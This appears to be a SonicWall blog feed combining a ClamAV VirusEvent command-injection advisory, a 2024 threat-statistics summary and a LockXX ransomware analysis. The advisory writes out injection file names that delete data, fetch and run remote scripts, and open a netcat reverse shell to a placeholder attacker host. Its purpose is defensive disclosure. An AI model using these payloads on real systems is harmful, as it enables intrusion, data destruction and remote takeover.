The ClamAV command injection vulnerability, identified in its VirusEvent feature, can be triggered under various scenarios, exploiting the lack of sanitization in the way command strings are constructed and executed. Here are four specific conditions or methods an attacker might use to exploit this vulnerability:

Embedded Commands in File Names:
Attackers might embed shell commands in file names (e.g., evilfile;rm -rf /;), which ClamAV could execute due to insufficient input sanitization in the VirusEvent feature.

Manipulating Environment Variables:
Crafted file names could manipulate environment variables to execute arbitrary commands (e.g., $(wget http://malicious.com/script.sh)), exploiting the direct passage of unsanitized command strings to a shell.

File Path Manipulation:
Attackers could include command injection payloads in file paths (e.g., /uploads/innocuous.pdf;nc -e /bin/bash attacker_ip 4444), effective in environments where ClamAV scans attacker-accessible directories.

Bypassing Command Execution Restrictions:
In restricted environments, attackers could bypass controls by crafting file names that initiate benign commands followed by malicious payloads (e.g., legitfile;curl http://malicious.com/malware -o /tmp/malware; chmod +x /tmp/malware; /tmp/malware), utilizing the VirusEvent feature for execution.

The methods above demonstrate the critical importance of validating and sanitizing all inputs in security mechanisms like ClamAV’s VirusEvent to prevent unauthorized command execution.

Exploitation

The exploitation of ClamAV’s vulnerability primarily centers on manipulating the virusaction function, especially the sequence following the vfork() system call. This function is tasked with responding to virus detection events and dynamically constructs a command string using input parameters, such as filenames and virus names, without adequately sanitizing them. The segment of code where exploitation is most critical involves the use of vfork() to spawn a new process. In the child process, identified when pid == 0, it proceeds to execute a shell command built from potentially unsafe user input via execle().

The vfork() call is crucial because it creates a new process by duplicating the address space of the calling process, allowing the child process to run in the same memory space as the parent until execle() is called. This approach is chosen for its efficiency, as it avoids the overhead of copying the entire address space of the parent process. However, the subsequent execution of a command with user-controlled input in a shell environment (/bin/sh) through execle() presents the vulnerability. The command buffer_cmd is executed in the shell without any sanitization, enabling arbitrary command execution if an attacker crafts malicious input that breaks out of the intended context.

Thus, this exploitation pathway permits attackers to run arbitrary code on systems operating ClamAV by inserting commands into filenames or other inputs processed by ClamAV, which are then included in buffer_cmd. Given that the command runs with the privileges of the ClamAV service, this vulnerability could lead to significant security incidents, including unauthorized system access, data exfiltration, or further system compromises. The specific line (See Figure 3) in the virusaction function becomes a focal point for security concerns, highlighting the critical need for strict input validation and sanitization in applications that execute commands based on external inputs.

Figure 3 – vfork() call and surrounding logic

SonicWall Protections

To ensure SonicWall customers are prepared for any exploitation that may occur due to this vulnerability, the following signatures have been released:

  • IPS: 4281 ClamAV VirusEvent Command Injection

Visualizing Security: The Threat Graph

Remediation Recommendations

The risks posed by this vulnerability can be mitigated or eliminated by:

  • Applying the vendor-supplied patch to eliminate this vulnerability
  • Utilizing up-to-date IPS signatures to filter network traffic
  • Configuring the vulnerable product to allow access to trusted clients only
  • Keeping security software and systems current for optimal defense
  • Conducting regular security audits to identify and remediate potential weaknesses

Relevant Links

Vendor Advisory
NIST NVD CVE
CWE-78
NIST CVSS Calculator Score

Latest Threat Intelligence Navigates the Relentless Surge in Cybercrime

If the theme of the 2023 SonicWall Cyber Threat Report was migration, 2024’s would definitely be acceleration. Cyberattacks increased two- to threefold across nearly every tracked metric last year, as threat actors continued to ramp up and diversify their attacks.

SonicWall noted several new developments in 2023, including the use of Microsoft OneNote files as an initial vector, sharp increases in the use of .NET, and huge campaigns targeting vulnerabilities in WinRAR and MOVEit. As previously reported, SonicWall also discovered a critical zero-day vulnerability affecting Apache OFBIZ, which saw widespread exploitation.

Researching and publishing these trends is part of our commitment to empowering our valued partners and the wider cybersecurity community. The data in the 2024 SonicWall Cyber Threat Report not only provides threat trends, it also drills down to show how these developments are affecting businesses like yours — and what you can do about it.

“With a rich 32-year history as our foundation, SonicWall continues to publish the Cyber Threat Report, providing threat intelligence to drive our roadmap and build products that help our partners,” SonicWall President and CEO Bob VanKirk said. “In addition to proven solutions, they need proactive strategies and actionable insights based on the most up-to-date threat intelligence to mount the strongest defense possible.”

Malware

On the heels of last year’s modest 2% increase, malware accelerated in 2023, rising 11% to 6.1 billion. This increase was fueled by triple-digit growth in cryptojacking and encrypted threats, which showed year-over-year increases of 659% and 117% respectively.

After seeking new shores in 2022, threat actors in 2023 showed a renewed focus on North America, where malware increased 15% to 3.2 billion — more than half of all global malware recorded for the year. Threats in Latin America, which have been increasing since 2021, grew even faster in 2023, spiking 30% to 475.2 million. Only Europe and Asia saw a decline — both experienced a 2% dip over 2022’s malware volumes.

Encrypted Threats

In 2023, SonicWall threat researchers observed 15.8 million encrypted threats, representing an 117% year-over-year increase and a new yearly record. While all regions and industries showed an increase in attack volume over 2021, some were hit particularly hard: Triple-digit increases were observed in Europe (+182%), Asia (+462%), Latin America (+527%), and across every single industry we studied.

Cryptojacking

Cryptojacking attacks breezed past the 100 million mark for the first time in 2022, but they were just getting started. 2023 brought an unprecedented 1.1 billion cryptojacking hits, a 659% increase year over year. Only two groups were spared triple-digit (or more…) increases: customers in Asia, where cryptojacking “only” increased 87%, and customers working in retail, where cryptojacking actually dropped 72%.

Ransomware

A 36% decrease in ransomware sounds great—but there are some major caveats here. The 317.6 million ransomware attempts recorded in 2023 were still enough to make it the third-highest year for ransomware on record, and the first year to see ransomware payments surpass the $1 billion mark. Huge campaigns were still regularly observed, including a supply chain attack on a vulnerability in MOVEit Transfer (CVE-2023-34362) that ultimately impacted more than 62 million people. Finally, it’s important to point out that SonicWall’s threat data only includes the SonicWall ecosystem, with its largely SMB install base — other vendors actually recorded increases based on their datasets.

But we may see an rise in ransomware attacks on SMBs in the near future. In mid-February, the U.S. government reported it had disrupted the LockBit ransomware gang. As SonicWall CEO Bob VanKirk told CRN, LockBit “has been at the core of a lot of the ransomware attacks” SonicWall has recorded —it was the most prolific ransomware observed in 2023. But as VanKirk noted, attacks on SMBs may rise as enforcement activities heat up.

Michael Crean, who leads SonicWall’s managed security services unit, agreed. “If I’m a bad guy, what am I going to do now? Well, I’m going to try to fly under the radar, but still get what I want. I’ll just do it in a way that doesn’t draw any attention to me.” Based on our cryptojacking data, some of these cybercriminals have shifted focus, but to be clear, we don’t expect the drop in ransomware to be a sustained one.

Intrusions

Another milestone was observed in intrusion attempts in 2023, which passed the 7 trillion mark for the first time. Unfortunately, this 20% increase in overall intrusions wasn’t just driven by the expanding attack surface: Malicious intrusions were also up, rising 6% to 11.3 billion. The good news? Attempts against last year’s widely exploited Log4Shell vulnerability seem to have dropped and stabilized, at least for now.

As Bob VanKirk remarked, “SMBs are right in the crosshairs” for hacker groups—a fact that comes across plainly in 2023’s threat data. As we continue moving through 2024, this increased risk makes the role of the MSP more critical than ever. “Based upon the sheer number of attacks, and their complexity, MSPs really provide a key security layer that end customers require, especially in the SMB space,” he said.

New LockXX Ransomware Targets Users Who Speak Standard Chinese, English

Overview

This week, the SonicWall Capture Labs threat research team analyzed a ransomware targeting users who speak English and Standard Chinese. Its behavior is typical of ransomware – it encrypts the user’s files and provides instructions on how to recover data while providing instructions in both English and Standard Chinese.

Infection Cycle

The malware arrives as a portable executable that, once executed, immediately spawns the command prompt to disable User Account Control (UAC). This Windows security feature helps thwart malware by alerting the user to any changes on the system that need administrative access. A Windows prompt will appear that alerts the user that a system reboot is needed to turn off UAC.

Figure 1: Prompt to alert the user that enabling/disabling UAC requires a reboot

However, this prompt quickly disappears and can easily go unnoticed. This malware ensures that the victim’s machine gets rebooted by using schtasks to add a scheduled task to reboot the system.

Figure 2: Scheduled task to shutdown the system

Another scheduled task to clear event logs is added that will run every five minutes.

Figure 3: Scheduled Task to clear event logs every five minutes

Files are then simultaneously encrypted, and the malware adds the lockxx extension to all encrypted files.

Figure 4: Encrypted files with .lockxx file extensions

A .hta file is added to every directory with an encrypted file that displays the instructions on how to recover data with a toggle between English and Standard Chinese.

Figure 5: Executing the file “lockxx.recover_data.hta” will open this window with instructions in English

Figure 6: A toggle for the Standard Chinese language is available within the instructions window

A log file is saved and named “info.log”. The file appears to be the event sequence of what the malware has executed on the machine.

Figure 7: Info.log containing malware execution event log

The most apparent indication of infection is the desktop wallpaper being changed to warn the user that their files have been encrypted.

Figure 8: Desktop wallpaper changed to show a warning that files have been encrypted

SonicWall Protections

SonicWall Capture Labs provides protection against this threat via the following signature:

  • GAV: Lockxx.RSM (Trojan)

 

This threat is also detected by SonicWALL Capture ATP w/RTDMI and the Capture Client endpoint solutions.